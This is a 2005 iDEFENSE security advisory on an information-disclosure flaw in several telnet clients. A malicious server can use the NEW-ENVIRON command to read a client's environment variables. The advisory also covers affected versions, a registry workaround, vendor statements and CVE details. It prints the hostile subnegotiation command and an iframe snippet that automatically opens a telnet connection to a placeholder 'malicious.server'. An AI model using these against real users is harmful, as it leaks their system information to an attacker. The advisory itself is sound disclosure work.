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Multiple Vendor Telnet Client Information Disclosure Vulnerability

06.14.05

BACKGROUND

The TELNET protocol allows virtual network terminals to be connected to
over the internet. The initial description of the telnet protocol was
given in RFC854 in May 1983. Since then there have been many extra
features added including encryption.

DESCRIPTION

Remote exploitation of an input validation error in multiple telnet
clients could allow an attacker to gain sensitive information about the
victim's system.

The vulnerability specifically exists in the handling of the NEW-ENVIRON
command.

In order to exploit this vulnerability, a malicious server can send a
connected client the following telnet command:

SB NEW-ENVIRON SEND ENV_USERVAR <name of environment variable> SE

Vulnerable telnet clients will send the contents of the reference
environment variable, which may contain information useful to an
attacker. The expected behavior would be only to send environment
variables related directly to the operation of the telnet client (for
example, TERM), or those specifically allowed by the user.

ANALYSIS

Successful exploitation of the vulnerability would allow an attacker to
read the values of arbitrary environment variables. By itself this
vulnerability is not a large threat, but exploiting this vulnerability
may give an attacker more information about a targeted system, which
could allow more effective attacks.

In order to exploit this vulnerability, an attacker would need to
convince the user to connect to their malicious server. It may be
possible to automatically launch the telnet command from a web page, for
example

<html><body>
<iframe src='telnet://malicious.server/'>
</body>

On opening this page the telnet client may be launched and attempt to
connect to the host 'malicious.server'.

DETECTION

iDEFENSE has confirmed the existence of the vulnerability in version
5.1.2600.2180 of the Microsoft Telnet Client, the telnet client included
in the Kerberos V5 Release 1.3.6 package and the client included in the
SUNWtnetc package of Solaris 5.9. It is suspected that most BSD based
telnet clients are affected by this vulnerability. The telnet client
from the netkit-telnet package distributed with all current versions of
Redhat Linux contains a patch for this vulnerability, introduced in
early 2000. Some other distributions may also contain this patch. There
does not appear to have been a security advisory released at the time
the patch  was added, nor does there appear to be an entry in the
Bugzilla database.  This issue appears to have been mentioned in passing
in  RHSA-2000-028, in relation to a vulnerability in Netscape.

WORKAROUND

For Windows based platforms, disabling the Telnet handler or specifying
a different application to handle Telnet URL's can mitigate URL based
attacks. This can be accomplished by removing or modifying the following
registry key:

HKEY_CLASSES_ROOTtelnetshellopencommand

This workaround should prevent automatic exploitation attempts. It does
not fix the underlying issue.

iDEFENSE is currently unaware of any workarounds for this issue for other
affected platforms.

VENDOR RESPONSE

Vulnerable:

- Microsoft Corp.

Microsoft has investigated this issue. We have released an update to
address this concern. For more information, visit the following Web
Site: http://go.microsoft.com/fwlink/?linkid=47016

- MIT Kerberos

The MIT Kerberos Development Team believes that the telnet client in our
distribution behaves as intended with regards to its handling of the
NEW-ENVIRON option. We do not feel that disclosure of user environment
variable settings constitutes a significant exposure.

We are willing to consider patches which implement an option to restrict
or disable the transmission of environment variables by the telnet
client.

- Sun Microsystems, Inc.

Sun Microsystems, Inc. can confirm that Solaris and the SEAM product are
affected by this issue.  The impact, contributing factors and patch
details are available in Sun Alert 57755 for Solaris which is available
here:

   http://sunsolve.sun.com/search/document.do?assetkey=1-26-57755-1

and Sun Alert 57761 for SEAM which is available here:

   http://sunsolve.sun.com/search/document.do?assetkey=1-26-57761-1

- SUSE LINUX

The updates will be released on the coordinated release date. Customers
of SUSE LINUX can download the package by using YOU or directly via FTP
from our servers.


Not Vulnerable:

- ALT Linux

ALT Linux is not vulnerable to the telnet environment variable
disclosure since February of 2002, due to our inclusion of the Red Hat
Linux derived patch from Openwall GNU/*/Linux.

- CyberSafe Ltd.

The TrustBroker Secure Connection Utilities and TrustBroker Secure
Connection Services, version 5.6.1 or later, are not effected by this
vulnerability. If you are using earlier releases of these products you
need to upgrade.

- Openwall Project

Openwall GNU/*/Linux is not vulnerable to the telnet environment
variable disclosure, and it never was due to our inclusion of the Red
Hat Linux derived patch in the very first publicly available version of
our telnet package (which was in other aspects based off the code found
in OpenBSD 3.0).  It is, however, worth noting that the unsafe
environment variable disclosure was in fact documented in the BSD telnet
client manual page.  Thus, now that this issue has been revisited, we
have reworked the environment variable restrictions patch to have our
documentation in sync with the actual behavior.

- Ubuntu

Ubuntu supports and ships netkit-telnet, which has been patched to not
disclose arbitrary environment variables for a long time now. The krb5
version is also available in the archive, however, it is unsupported and
there will not be an official advisory for it. It will most likely be
fixed by the community.

- WRQ, Inc.

No versions of the WRQ Reflection for the Web Telnet clients are
vulnerable as they return very limited terminal information in response
to the NEW_ENVIRONMENT command and use dynamically-sized buffering.
Security update and advisory information for WRQ Reflection for the Web
can be found at:
  
   http://support.wrq.com/techdocs/1704.html

No versions of the WRQ Reflection Telnet, TN3270, TN3270E, TN5250 or
Kerberized Telnet clients are vulnerable as they are not based on either
the BSD or MIT Telnet clients and use Microsoft Windows memory
management routines along with compile-time buffer overflow protection.
Security update and advisory information for WRQ Reflection products can
be found at:

   http://support.wrq.com/techdocs/1708.html

CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-0488 to this issue. The CVE Project has also assigned
CAN-2005-1205 to identify this issue in Microsoft products. A separate
CVE number was issued for Microsoft due to the differing code base used.
These are candidates for inclusion in the CVE list
(http://cve.mitre.org), which standardizes names for security problems.

Additionally, CERT has issued VU#800829 for this vulnerability.

DISCLOSURE TIMELINE

02/18/2005   Initial vendor notification
06/14/2005   Coordinated public disclosure

CREDIT

Gaël Delalleau is credited with this discovery.

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Copyright © 2005 Verisign, Inc.

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